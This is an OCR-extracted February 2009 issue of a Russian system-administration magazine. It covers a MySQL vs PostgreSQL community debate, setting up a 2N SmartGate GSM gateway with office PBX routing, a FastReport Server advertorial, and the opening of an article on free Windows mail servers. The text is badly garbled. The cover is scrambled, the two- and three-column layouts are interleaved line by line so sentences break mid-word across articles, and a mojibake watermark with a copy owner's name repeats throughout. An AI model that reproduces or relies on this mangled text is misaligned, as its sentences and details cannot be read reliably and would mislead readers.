ЛИ
С
ЛИ
ТЯ Е
Ж ПИ
ЗА ДНИ
НУ
РА КУ
ЛЫ ГО
ТИ РАС
К У ВО
РО
№2(75) февраль 2009
НИ НО
СТ
БЫ
подписной индекс 20780
КА
www.samag.ru
ЬГ
ЬД О
БО А
К
ИС НН
ЕН
РА СК
ТЕ
УС
ИЛ ДА
У
ТП
НА П
Л ОТ
НЧ ЖИ
ВО
РА ЛЕ
КО НЕО
Л
ЗА
Графические инструменты
для Server Core
Так видит журнал читатель, оформивший подписку:
Slack – автоматизируем
настройку сервисов
Теневое копирование
в Windows Server 2003
а пр и
ы г р ы ш
р н а ла. Т РИ»
ир о з ж у и з
Итог а с а йте с к и й пр и р о в ал
от р ите н « А д мин р е г и с тр
см
г р ы ша е , к то за р н а л а.
м и р оз ы я тс я вс
р о в жу
д а ть.
к а о в м е ж
тни тан х но ни е
Учас тически с д ыд у щ и
лько
у м е
о м а п р е я т о
ав т о д о в из а д о б итс c urIT –
шес т
ьк
в а м по н
п а н и и Se
то т ра з о т ком
Вэ
п е р пр из
ы г р ан с у з Т РИ»
т ра з и
Буде с к и й пр
б у к . д м ин
т А
ноу
п р и зов « 9 года.
г р ы ша т а 2 00
роз ы 4 ма р
о г и н ы
Ит о д в ед е
т п
буду
зяев!
и х хо
т сво
ы ж ду
Приз
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
репортаж
Э
то мероприятие все ждали с не- Getting started ность достаточно известная в ми-
сколько нездоровым оживле- Первый раунд был посвящён пробле- ре разработчиков высоконагружен-
нием. Это и понятно, сообщест- мам установки СУБД, и Николай Са- ных систем и веб-программирования).
ва MySQL и PostgreSQL давно извес- мохвалов в своём выступлении пос- Своё выступление он начал словами:
тны антагонизмом по отношению друг тарался развенчать миф о сложнос- – Я здесь представляю тех ребят,
к другу. «Копья» на многочисленных ти и «консольности» PostgreSQL, про- которые просто берут MySQL и исполь-
интернет-форумах и списках рассыл- демонстрировав на слайдах работу зуют её. Я имею слабое представление
ки «трещат» уже далеко не первый симпатичного графического инстал- о том, что там внутри.
год, и вот организована первая оч- лятора. Особый упор делался на раз- После чего поделился собствен-
ная встреча. нообразие способов установки и уп- ным опытом использования СУБД
Сторону PostgreSQL представля- равления СУБД, простоту этого дейст- в большом проекте (тысячи серве-
ли Николай Самохвалов («Постгрес- вия для новичков («Нужно только жать ров, 24х7х365 и т. д.). При этом упор
мен», он и выступал в качестве веду- кнопку Next!»). делался на то, что прагматичная по-
щего встречи), Олег Бортунов, Федор Очень порадовало публику из- зиция диктует выбирать не красивых
Сигаев (PostgreSQL Global Development в е с т и е о р а з р а б о т ке ко м п а н и и и умных, а гарантированно работаю-
Group) и Андрей Смирнов (NetStream). EnterpriseDB, позволяющей управ- щие схемы, и в этом смысле MySQL
Им противостояли Константин Оси- лять СУБД PostgreSQL с iPhone. очень хороша тем, что не даёт созда-
пов (Sun/MySQL) и Алексей Рыбак Говоря о возможностях сервера баз вать неоправданно сложные зависи-
(Badoo.com). данных, Николай сообщил, что на лю- мости между данными и «не диктует
Во вступительном слове Нико- бой вопрос человека, мигрирующе- неэффективную или сложно управля-
лай Самохвалов подчеркнул, что пос- го на PostgreSQL, вида «а почему вот емую архитектуру».
ледователи обоих СУБД собрались, этого нет?» Он ответственно заявля- Алексей подчеркнул, что решения,
как друзья, как сторонники двух са- ет – «вот это – уже есть»! применяемые в Badoo.com, не исполь-
мых успешных Open Source-серверов В ответ, говоря про установку зуют сложных запросов, внешних клю-
баз данных, для распространения ко- MySQL, Константин Осипов поначалу чей триггеров и процедур, а реплика-
торых сейчас, во время тяжелых эко- ограничился одной фразой: ция, шардинг (сегментирование по оп-
номических условий, возможно, са- – Говорить тут особо нечего, у боль- ределенному признаку), очереди со-
мое время. шинства из вас MySQL уже стоит. бытий на базе MySQL являются собс-
Первая часть встречи действи- Но потом кратко обрисовал уста- твенными разработками. При этом ар-
тельно была организована как поеди- новку СУБД, уложившись в три мину- хитектура системы не менялась 4 го-
нок – 40 минут были разбиты на четы- ты, против заявленных пяти, при этом да, за которые число пользователей её
ре части, на протяжении которых сто- успев рассказать о типах хранилищ возрастало от ноля до 18 миллионов.
роны при жёстком регламенте вре- данных в MySQL. Далее Алексей рассказал о новом
мени (по пять минут каждой сторо- проекте – libmca, библиотеки для пос-
не) должны были осветить работу от- Scale out троения клиента с асинхронной обра-
стаиваемой СУБД в том или ином ас- Следующий раунд – «Масштабирова- боткой множества запросов к СУБД
пекте. ние». Его начал Алексей Рыбак (лич- MySQL.
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
репортаж
В ответ Андрей Смирнов подчерк-
нул преимущества PostgreSQL на мно-
гоядерных и многопроцессорных ап-
паратных платформах. Также были
упомянуты чрезвычайно эффектные
решения для PostgreSQL от компа-
нии Skype, такие как PgBouncer и Sky
Tools (Longdicade), а также встроен-
ные в СУБД средства масштабирова-
ния. Далее было кратко рассказано
об архитектуре Skype, которая, по за-
верениям разработчиков, должна ос-
таваться жизнеспособной и при мил-
лиарде пользователей. Вообще с та-
ким пользователем, как Skype, коман-
де PostgreSQL в этом раунде можно бы-
ло больше ничего не доказывать. И треснул мир напополам. Дымит разлом
Упомяну то было так же теперь
у же отк р ы то е р е ш е н и е GridSQ L особо была упомянута платная техни- му же успели поломать на форумах все
от EnterpriseDB. ческая поддержка для коммерческих возможные копья. В аудитории царила
клиентов. (Цитата: «Если есть какая- обстановка политкорректности и доб-
Development либо техническая проблема – есть га- рожелательности.
Третий раунд был посвящён разви- рантия, что она будет решена».) Вопросы старались задавать пред-
тию СУБД. Николай Самохвалов показал гео- ставителям двух команд одновремен-
Николай Самохвалов рассказал графическое распространение раз- но, правда, это не всегда получалось.
о циклах разработки PostgreSQL, сис- работчиков и групп пользователей Касались они самых разных тем –
теме нумерации версий и о нововве- PostgreSQL (увы, как было видно от «назовите самый большой проект
дении процесса разработки – мероп- на карте, Африка и Антарктида оказа- под PostgreSQL» до реализации OLAP-
риятиях Commit Fest, процесса регу- лись практически не охвачены) и рас- куба. Из конструктивной части вопро-
лярной обработки патчей и включении сказал о мероприятиях, проводимых сов/ответов довольно интересно было
их в CVN HEAD. Благодаря им сооб- российским PostgreSQL-сообщест- послушать про организацию работы
щество в любой момент времени зна- вом. Тут оппонентам крыть было не- СУБД в условиях ограниченности ре-
ет, какие изменения точно будут в оче- чем – на одном из таких мероприятий сурсов, виртуализацию (VPS), о подхо-
редном релизе СУБД (в данном случае мы и находились. дах к проблеме квотирования ресур-
в PostgreSQl 8.4). сов. Также вышла увлекательная ми-
В ответ Константин Осипов расска- Coda ни-дискуссия между Олегом Бортуно-
зал о прогрессе MySQL за последние После этого слово попросил Мак- вым и Константином Осиповым отно-
6 лет и показал структуру разработки сим Бабук (Masterhost), рассказав- сительно применения паттернов пост-
СУБД, назвав важное отличие – ис- ший об успешном переводе высо- роения доступа к данным и концепции
пользование распределённой системы конагруженной системы с MySQL Cloud Сomputing в свете будущего ин-
контроля версий (Bazaar), что обуслов- на PostgreSQL и о том, что послед- формационных систем.
лено принципами разработки MySQL, няя нормально выдерживала нагруз- Последний вопрос был знаковым,
а именно наличия, помимо основного ки, на которых первая «умирала». Па- его задала очаровательная девуш-
дерева, большого числа поддержива- тетику доклада несколько сбил Фёдор ка, вид которой во время встречи вы-
емых веток. Было рассказано об инс- Сигаев, спросив, зачем при описанной зывал недоумение – как и зачем она
трументах тестирования и сборки, структуре данных (шесть простых таб- здесь оказалась. В общем, после рас-
о новшествах в предстоящих релизах лиц, простые запросы) надо было ис- суждений о жадных или генетических
СУБД – 5.3, 6.0 (online backup и новые пользовать реляционную СУБД. алгоритмах и индексирующих много-
хранилища данных Maria и Falcon), 6.1 На этом первая часть встречи за- мерных массивах прозвучало:
(наконец-то внешние ключи!). кончились, и приглашённые эксперты – Здравствуйте! Я начинающий веб-
стали отвечать на вопросы присутс- дизайнер, не подскажете, какую базу
Community твующих. данных мне выбрать? – бурная реакция
Следующий раунд назывался «Сооб- аудитории заглушила ответ: «Вам, де-
щество». Прения вушка, любую».
Константин Осипов, не покидая «Холивара» не получилось, наверняка Расходились в хорошем настро-
кафедры, рассказал о существующих к чьему-то разочарованию. Возможно ении.
формах поддержки пользователей потому, что был вечер трудового дня
MySQL – списках рассылки, форумах, и все устали, а может, просто собра- Текст: Кирилл Сухов,
московской группе пользователей, лись адекватные люди, которые к то- фото Михаил Шурутов
Рашид Ачилов
Когда количество телефонных звонков из офиса на сотовые телефоны увеличивается
настолько, что сумма счета за услуги телефонной связи начинает превышать все мыслимые
пределы, поневоле задумаешься, как бы сократить эти расходы, не ограничивая ни количество
звонков, ни их длительность.
Куда уходят деньги, расходам, использовать альтернати- нить на все сотовые телефоны с сото-
в какие города... вы. Например, вместо «простой» меж- вого же (пусть даже и другого операто-
Современный офис невозможно себе дугородней связи использовать звон- ра) – стоимость переговоров уменьша-
представить без телефонной связи. ки по технологии IP-телефонии, вмес- ется пропорционально тому, как часто
Стационарная и мобильная, местная то звонков на сотовые с городского звонят на телефоны данного операто-
и междугородняя – она давно и проч- номера звонить на него с сотового же. ра (при условии, что у вас безлимит-
но занимает место в формировании Последний вариант наиболее привле- ный тариф, разумеется).
бизнес-процессов. Пропадание свя- кателен для тех компаний, чьи бизнес- Собственно говоря, на этом и ос-
зи сравнимо разве что с отключени- процессы завязаны на коммуникации нована экономия средств с помощью
ем электроэнергии и запросто повер- по сотовым телефонам и в структуре GSM-шлюза – к офисной АТС подклю-
гает в хаос офисы практически любо- расходов на телефонные переговоры чается GSM-шлюз, который представ-
го масштаба. Неудивительно, что рас- существенное место у которых занима- ляет по сути стационарный мобильный
ходы на телефонные переговоры мо- ют расходы на звонки на сотовые те- телефон, и все вызовы на сотовые мар-
гут составлять весьма существенные лефоны. Например, в г. Новосибирске шрутизируются через него средствами
суммы. Способы экономии здесь мо- стоимость минуты звонка на сотовый офисной АТС так, что звонок на сото-
гут быть разные, но все они сводят- телефон составляет 1 р. 50 коп., при- вый телефон приходит с другого сото-
ся к одному – вместо тех услуг, тари- чем неполная минута считается за пол- вого телефона и тарифицируется со-
фы на которые приводят к серьезным ную. Если же каким-то образом зво- ответствующим образом. При исполь-
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
администрирование
зовании безлимитного тарифа можно но через COM-порт. Это, несомненно,
разговаривать с абонентами того опе- является серьезным недостатком, по-
ратора, к которому подключен GSM- тому что COM-порты, как устройства
шлюз, неограниченно, а с абонентами морально устаревшие, уже отсутству-
других операторов – в той мере, в ко- ют на многих моделях современных
торой это предусмотрено тарифным компьютеров.
планом. Таким образом мы исключа- Перед началом работы необходи-
ем из расходов на телефонные пере- мо подготовить PIN-код от SIM-карты,
говоры самую дорогую их часть – оп- которая будет установлена в шлюз.
лату за звонки на сотовые со стацио- PIN‑код прописывается непосред-
нарных городских телефонов. Я неда- ственно в память шлюза и выдается
ром написал «стационарный мобиль- оператору каждый раз, когда шлюз ре-
ный телефон» чтобы сразу привлечь гистрируется в сети GSM. Необходимо
Рисунок 1. Внешний вид GSM-шлюза
внимание к этому кажущемуся проти- также установить прилагающееся про- 2N EasyGate
воречию – ведь мобильный телефон граммное обеспечение.
собственно и получил свое название Аляповатость главного меню на-
потому что с ним можно перемещаться, водит на мысль о том, что устройство
оставаясь постоянно на связи. Что же предназначается и для домашнего ис-
это за устройство такое? пользования тоже (см. рис. 2). Флаж-
ки слева предназначены для выбо-
Станционарный ра языка интерфейса, нелепо переко-
мобильный телефон шенные значки снизу позволяют про-
Внешне это устройство напоминает вести настройку собственно програм-
скорее точку доступа Wi-Fi, чем теле- мы (указать, на каком порту находит-
фон – никаких тебе экранов, никаких ся шлюз), вызвать справку, «О про-
кнопок (см. рис. 1). грамме» и выйти из нее. Не менее не-
Это вполне естественно, ведь оно лепо перекошенные значки слева поз-
является телефоном только по факту воляют загрузить настройки из шлюза
того, что в него вставляется SIM-кар- или с диска, редактировать настройки
Рисунок 2. Главное меню программы
та, а на самом деле это именно шлюз, и мониторить работу шлюза, для чего настройки шлюза 2N SmartGate
устройство для перенаправления звон- он, естественно, должен оставаться
ков. После его включения шлюз под- подключенным к компьютеру. Все на-
ключается к тому оператору, SIM-кар- стройки шлюза можно выгрузить в тек-
та которого в него установлена, и с это- стовый файл, который впоследствии
го момента через него можно звонить можно загрузить обратно.
точно так же, как и через любую дру- Для настройки шлюза он должен
гую внешнюю линию, используя стан- быть переведен в специальный ре-
Рисунок 3. Ввод PIN-кода и сервисного
дартные средства маршрутизации жим программирования, в который он пароля для GSM-шлюза
офисных АТС. переходит автоматически после вклю-
Разумеется, до начала работы чения на 3 секунды (при этом горят все честве телефона или в качестве внеш-
на SIM-карте должны быть включены индикаторы). Если шлюз подключен ней линии. Мы рассмотрим только те
все необходимые услуги – после то- в этот момент к компьютеру и запуще- настройки, которые необходимо сде-
го как она будет установлена в GSM- на программа настройки, то он остает- лать для того, чтобы шлюз работал
шлюз, поменять что-либо в настройках ся в этом режиме. Загрузка и сохране- так, как нужно нам – то есть в качестве
будет возможно только через Интернет, ние настроек возможны только в этом внешней линии. Этих настроек, собст-
и то только в том случае, если опера- режиме, поэтому перед тем как загру- венно, немного.
тор, к которому подключен GSM-шлюз, зить или сохранить данные, вы можете Единственная настройка, без кото-
поддерживает такую функцию. Кроме получить запрос «Выключите устройс- рой не будет ничего работать, – это за-
того, необходимо будет настроить са- тво и включите его снова». дание PIN-кода SIM-карты. PIN-код за-
мо устройство GSM-шлюза. Разумеется, все настройки шлюза дается при выборе пункта «Security»
В данной с татье мы рассмот- мы рассматривать не будем – в комп- в главном меню.
рим конкретную модель GSM-шлюза, лекте имеется достаточно объемное Сервисный пароль используется,
а именно 2N SmartGate. Более под- руководство (правда, на английском если вы хотите защитить настройки
робную информацию о нем можно по- языке), в котором подробно, с картин- шлюза паролем. Введенный PIN-код
лучить на [1]. ками, расписывается, что и как настра- прописывается в памяти шлюза и мо-
Для настроек шлюза нам пона- ивается для работы вместе с офисной жет быть стерт только вводом другого
добится компьютер, оборудованный АТС или при ее отсутствии. Шлюз име- PIN-кода (см. рис. 3).
COM‑портом, потому что общение ет возможность подключения в «раз- Данная модель шлюза облада-
с шлюзом возможно исключитель- рыв» между телефоном и АТС, в ка- ет некоторым «интеллектом» в виде
Немного об индикаторах
На корпусе шлюза нет никаких орга-
нов управления. Расположено только
Рисунок 4. Настройка таблиц маршрутизации GSM-шлюза три индикатора, которые и показыва-
ют его состояние. Верхний – питание,
средний – подключение, нижний – раз-
говор. Когда шлюз нормально заре-
гистрировался в сети GSM, средний
индикатор горит непрерывно, в про-
тивном случае нужно обратиться к ру-
ководству, чтобы выяснить, что озна-
чает сигнал (а их там 5 разных вари-
антов). Нижний индикатор горит, ког-
да идет разговор и мигает, когда идет
набор номера. Когда шлюз свободен,
индикатор не горит.
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
администрирование
ко один GSM-шлюз, любой набор под-
ряд цифр 89 будет означать набор но-
мера сотового телефона, а следова-
тельно, должен маршрутизироваться
на GSM‑шлюз, для чего мы создадим
таблицу маршрутизации 3 (см. рис. 5).
Для создания таблицы маршрути-
зации сначала необходимо объявить
группу внешних линий, через которые
будет доставляться вызов. Это дела-
ется в ММС 603. Для создания груп-
пы внешних линий для доставки вы-
зова через GSM-шлюз мы просто бе-
рем всю группу внешних линий для
доставки обычного местного вызова
и ставим первым линию GSM-шлюза.
В рассматриваемом примере это груп-
па 801 (см. рис. 6).
При такой настройке, если шлюз
занят, то вызов пойдет через обычную
телефонную сеть. Если есть необходи-
мость сделать так, чтобы вызовы шли Рисунок 6. ММС 603 с настройками группы вызова через GSM-шлюз
только через шлюз, то в группе 801
нужно оставить только ту линию, к ко-
торой подключен GSM-шлюз.
Далее, в MMC 712 настраивается
уже выбранная нами таблица марш-
рутизации 3 – в нее просто вписыва-
ется номер группы внешних линий, че-
рез которые будет доставляться вызов.
При такой настройке эта группа внеш-
них линий будет использоваться всег-
да, независимо от времени и дня не-
дели (см. рис. 7).
Что делать, если необходимо под-
ключить не один шлюз, а несколь-
ко таким образом, чтобы разносить
звонки по разным сотовым операто-
рам? Создать больше таблиц и раз-
нести маршруты, зависящие от кода
сотового оператора. Возьмем услов-
ный пример. Пусть шлюз 1 подключен
к оператору «МТС», а шлюз 2 – к опе-
ратору «Мегафон». Примем, что теле-
фоны «МТС» начинаются только на Рисунок 7. ММС 712 с настройками таблицы маршрутизации вызовов на GSM-шлюз
91, а телефоны «Мегафона» – только
на 92. Нам понадобятся три маршру- что шлюз «МТС» подключен к внеш- Выбор тарифного плана
та – на сотовые «МТС» (строка 22 таб- ней линии 731, а шлюз «Мегафона» – и возможные ошибки
лицы на рис. 8), на сотовые Мегафона к линии 732 (cм. рис. 9). Начальные расчеты экономической
(строка 23 таблицы на рис. 8) и на про- Ну и последнее – создаются три эффективности могут ошибочно погру-
чие сотовые (строка 24 таблицы на таблицы маршрутизации, соответ- зить вас в состояние этакой «экономи-
рис. 8). «Прочие сотовые» будут реа- ственно 3, 4 и 5 (на рисунках не пока- ческой эйфории» – мол, поставлю этот
лизовываться звонком сначала через заны). Они идентичны таблице, пока- шлюз, и вообще платить за перегово-
шлюз «МТС», потом через шлюз «Ме- занной на рис. 7, только номер группы ры на сотовые не надо будет. На самом
гафона», ну а в случае недоступности внешних линий соответственно будет деле это не так. Если используется ва-
обеих шлюзов – через ТФОП. 806, 807 и 808. риант, в котором при занятом шлю-
Разумеется, нам понадобится Полный список кодов сотовых опе- зе вызов идет через ТФОП – платить
создать три группы внешних линий. раторов можно посмотреть, напри- за звонки на сотовые все равно при-
Для определенности предположим, мер на [5]. дется, только меньше. Если же звонки
Заключение
Если аккуратно подойти к выбору опе-
ратора и тарифного плана, то можно
ожидать сокращения счетов на услу-
ги телефонной связи на значитель-
ную сумму уже в первый же месяц.
И хотя еще необходимо будет вернуть
деньги, затраченные на приобретение
собственно GSM-шлюза (а стоимость
данной модели составляет пример-
но 8‑10 тыс. руб.), экономия все рав-
но может оказаться весьма сущест-
венной.
10
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
на правах рекламы
Н
аверняка вам приходилось за- сколько программных продуктов, кото- ного сервера ненужной – вся функци-
ниматься внедрением автома- рые могут значительно облегчить ре- ональность сервера отчетов сосредо-
тизированных систем уровня шение вышеназванных задач. Это и точена в ISAPI DLL. Все настройки сер-
предприятия. Любая такая система есть те самые недостающие «кубики», вера хранятся в xml-файле, снабже-
должна накапливать данные, их обра- которые могут взять на себя заботу ны комментариями и могут быть из-
батывать и выдавать результаты. Час- о создании отчетов и представлении менены с помощью программы-кон-
то есть уже работающее программное данных в нужном виде. В основе всех фигуратора. Все отчеты, выполнен-
обеспечение, которое все это делает, этих решений стоит мощный генератор ные на FastReport Server, совместимы
но когда данные накоплены, иногда отчетов FastReport, уже зарекомендо- с форматом FastReport 4 и могут быть
бывает так, что обработка недостаточ- вавший себя как надежное, быстрое перенесены из ранее разработанно-
на и нет нужных отчетов. Хорошо, ес- и простое решение для обработки дан- го программного обеспечения, в кото-
ли можно обратиться к разработчику ных. 11 лет успешной работы на рынке ром был применен FastReport 4. Поль-
и попросить все доделать, но это не- позволили компании создать простые зователи, конечно же, могут разрабо-
возможно, когда программное обес- в использовании программные продук- тать свои собственные отчеты с по-
печение установлено давно или куп- ты для разработчиков информацион- мощью дизайнера отчётов FastReport
лено в коробочном варианте. В такие ных систем и пользователей для соз- Studio, ознакомительная версия кото-
моменты важно получить предельно дания необходимых отчетов. рой идет в комплекте сервера, а ли-
быстрый результат, который удовлет- Один из флагманских продуктов цензию на редакцию FastReport Studio
ворит начальство и будет не слишком Fast Reports – сервер отчетов. Он пред- Single покупатель сервера получает
дорог. Средства на развитие IT-инф- ставляет собой автономный HTTP-сер- в качестве подарка. Особо стоит от-
раструктуры, сейчас, как правило, ог- вер, который может быть установлен метить возможность FastReport созда-
раничены. А ведь за автоматизаци- на любой компьютер в локальной се- вать несколько подключений к базам
ей стоит необходимая сейчас опти- ти под управлением операционной сис- данных в одном отчете и собирать ин-
мизация бизнес-процессов, контроль темы MS Windows 2000 и выше. Поми- формацию из разных источников дан-
над ними и, как следствие, дальней- мо функции хранения статичных фай- ных. В общем случае могут быть ис-
шая экономия. лов, он может обрабатывать запросы пользованы любые данные, доступ-
Часто необходимо сделать слож- по формированию отчетов, в том числе ные через ODBC-драйверы.
ную обработку, собрать данные из и с предварительным вводом данных Совсем недавно Fast Reports вы-
нескольких баз, связать их между со- через веб-формы. Пользователь по- пустил обновление своего серверно-
бой, провести аналитику и выдать ре- лучает результаты в виде HTML-стра- го решения. FastReport Server 2.1 стал
зультат в компактном виде, доступном ниц, используя обычный веб-браузер стабильнее и быстрее, улучшено вза-
для анализа и контроля. Данные могут или в нужном ему формате, к приме- имодействие с известными веб-сер-
быть разнородными – текстовые фай- ру, PDF, Open Office, Rich Text и мно- верами Microsoft IIS и Apache. Самым
лы, база данных в виде DBF-файлов, гих других. Доступна функция печати главным нововведением стала воз-
файлы электронных таблиц. Случа- результатов на любой сетевой прин- можность использования встроенной
ется, что подобные задачи представ- тер, зарегистрированный на компью- в MS Windows аутентификации, что от-
ляются нерешаемыми или требующи- тере, где работает FastReport Server. крыло возможности тесной интеграции
ми значительных затрат на разработ- Настройка сервера отчетов предель- в домены Active Directory и упростило
ку специального программного обес- но проста. В общем случае он готов управление учётными записями и груп-
печения. Тут впору либо отказываться к работе сразу после установки. Ес- пами пользователей – каждой группе
от автоматизации совсем, либо созда- ли же на компьютере уже установлен пользователей можно назначить отчё-
вать собственное решение – исполь- другой веб-сервер, понадобится толь- ты, нужные именно ей, – руководству –
зовать ранние наработки и собирать ко смена номера рабочего порта и пе- одни, бухгалтерии – другие. И каждый
конструктор из различных програм- резапуск FastReport Server. Возможна пользователь может быть абсолютно
мных «кубиков», собрать все из набо- совместная работа с уже работающи- спокоен за актуальность получаемой
ра представленных на рынке модулей, ми веб-серверами IIS и Apache с помо- информации – отчёт будет сформиро-
сделав минимальную обвязку и на- щью идущего в комплекте с FastReport ван по его запросу именно в тот мо-
стройку под конкретные задачи. Server CGI-приложения или в качест- мент, когда понадобится!
Компания Fast Reports (http://fast- ве ISAPI-модуля. Применение послед-
report.com) представляет на рынке не- него делает запуск службы собствен- Александр Федяшов
Алексей Бережной
Трудно представить современную компанию, не использующую систему электронной почты
(e-mail). Для решения этой задачи существует множество различных способов. В данной
статье мы рассмотрим несколько бесплатных программных продуктов, позволяющих создать
собственный почтовый сервер на базе операционной системы семейства MS Windows.
Н
о прежде чем приступить к опи- менно получать информацию о вве- ти хранимых данных, просто неразум-
санию, необходимо ответить ренной инфраструктуре. Огромное ко- но. При этом практически невозможно
на несколько вопросов. личество программ, таких как антиви- получить информацию о неполученных
русное ПО, программы для резервного или отклоненных письмах и как-то пов-
Для чего используется копирования, для мониторинга состоя- лиять на ситуацию, когда письма не до-
корпоративная почтовая ния оборудования, для своевременно- ходят до адресата.
система? го отключения серверов и т. д., могут Еще одним отрицательным факто-
В первую очередь корпоративная поч- отсылать отчеты по электронной почте. ром является необходимость оплачи-
товая система необходима для дело- Системному администратору остается вать трафик, потребляемый при пере-
вой переписки, в том числе и между только вовремя настроить соответству- сылке любых сообщений. Так, рассыл-
сотрудниками внутри компании. Так- ющую систему уведомлений. ка нового прайс-листа весом в 8 Мб
же при помощи корпоративной поч- пятнадцати адресатам внутри одной
ты удобно производить рассылки уве- А почему бы просто не завести компании в конечном итоге превраща-
домлений, касающихся большой груп- ящики на бесплатном почтовом ется в 120 Мб входящего трафика.
пы сотрудников, например объявления сервисе? Отсылать на бесплатные почтовые
о предстоящем совещании или о выхо- Можно, конечно воспользоваться услу- ящики отсканированные документы
де новых правил использования офис- гами бесплатной электронной почты, прямо из МФУ также представляется
ной техники. например, Gmail.com или Mail.ru. нетривиальной задачей.
Корпоративная почтовая система Но, во-первых, компания, пользу- Использовать бесплатную элект-
расширяет возможности использова- ющаяся услугами бесплатной элект- ронную почту для организации до-
ния офисных многофункциональных ронной почты, выглядит, мягко гово- ставки уведомлений о состоянии сис-
устройств (МФУ). Многие современ- ря, несолидно в глазах потенциаль- темы крайне неудобно. Представьте
ные сетевые МФУ способны отправ- ных партнеров. себе ситуацию, когда системный ад-
лять по почте отсканированные до- Во-вторых, размещать бизнес-ин- министратор не получил уведомле-
кументы. формацию на бесплатном почтовом ние о завершении процесса резерв-
Помимо этого почтовая система ресурсе, администрация которого ного копирования.
представляет собой инструмент, поз- не связана никакими обязательствами В чем может быть проблема: сбой
воляющий IT-специалистам своевре- по сохранности и конфиденциальнос- в процессе копирования, программа
12
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
администрирование
просто не смогла по какой-либо причи-
не отправить письмо или причина за- Организация нескольких Другой способ заключается в создании
ключена в работе бесплатного почто- почтовых доменов на одном так называемых псевдонимов уже имею-
вого сервера? И куда обращаться, что- сервере щегося домена (domain aliases). В этом слу-
бы уточнить причину, по которой пись- Существует два способа организации нес- чае фактически создается и используется
мо не было доставлено? кольких почтовых доменов на одном сер- один полноценный почтовый домен с одной
Некоторые бесплатные почтовые вере. почтовой базой пользователей, а мульти-
серверы предлагают свои решения Есть метод так называемых виртуаль- доменная поддержка имитируется за счет
по борьбе со спамом, но в конечном ных доменов, когда каждый размещаемый использования нескольких имен одного
итоге другого решения, кроме как «пе- почтовый домен имеет свою собственную и того же домена. Минусом в этом случае
реместить в папку «Спам», не предо- базу пользователей. Это наиболее полно- является невозможность создания в раз-
ставляется. ценный способ организации многодомен- ных доменах учетных записей с одинако-
Справедливости ради стоит ска- ного почтового сервера. выми именами.
зать о единственном положительном
факторе – это то, что системному ад- нистрировании, например, при рас- связанные с МФУ и отправкой отска-
министратору практически не надо следовании инцидентов, связанных нированных документов по электрон-
ничего делать для организации кор- с непрохождением почты, принятии ной почте.
поративной почты. Достаточно под- решений в вопросах защиты от спа- Появляется возможность устано-
держивать стабильный доступ в Ин- ма и т. д. Хотя ситуация в данном слу- вить собственную антиспам-систему,
тернет и, может быть, настроить про- чае несколько лучше, чем с бесплат- как основанную на бесплатных ре-
граммное обеспечение почтовых кли- ной почтой (например, можно отпра- шениях, таких как сервисы RBL или
ентов, хотя большая часть известных вить письмо администратору почтово- свободно распространяемых продук-
поставщиков услуг бесплатной элек- го сервера с просьбой о предоставле- тах (например, SpamAssassin), так и
тронной почты, такие как Gmail.com, нии информации по отклоненным со- на коммерческом ПО.
Mail.ru или Pochta.ru, имеют доста- общениям). Кроме того, у системного адми-
точно простой и удобный веб-интер- Кроме того, внутренняя почтовая нистратора появляется замечатель-
фейс. система часто используется для до- ный гибко настраиваемый инстру-
ставки служебных сообщений, таких мент получения уведомлений по e-mail
Не проще ли воспользоваться как сообщение об ошибках, результа- об ошибках и других инцидентах, про-
услугами провайдера? тах резервного копирования, наруше- исходящих в рамках IT‑структуры.
Да, конечно, можно выбрать данный ниях ограничений безопасности и т. д. Усложняющим фактором явля-
вариант и воспользоваться услугами Использовать для этого внешние плат- ется необходимость системному ад-
сторонней фирмы, например интер- ные почтовые ящики на сервере про- министратору взять на себя вопросы
нет-провайдера. вайдера, мягко говоря, несколько не- по организации и поддержке почто-
Положительным моментом в этом рационально. вого сервера.
случае (по сравнению с рассмотрен- Отправка отсканированных доку-
ным выше вариантом использования ментов из МФУ по e-mail будет иметь А почему бы не поставить
бесплатной почты) является возмож- те же сложности, что и в случае с бес- Linux, FreeBSD, OpenSolaris
ность использовать собственное уни- платной почтой. и не поднять на нем Postfix,
кальное доменное имя. Sendmal, Qmail и т. д.?
Вторым плюсом можно считать то, Чем же так хорош собственный Замечательно, если решения пост-
что все вопросы по организации поч- почтовый сервер? роены на базе UNIX-подобных опе-
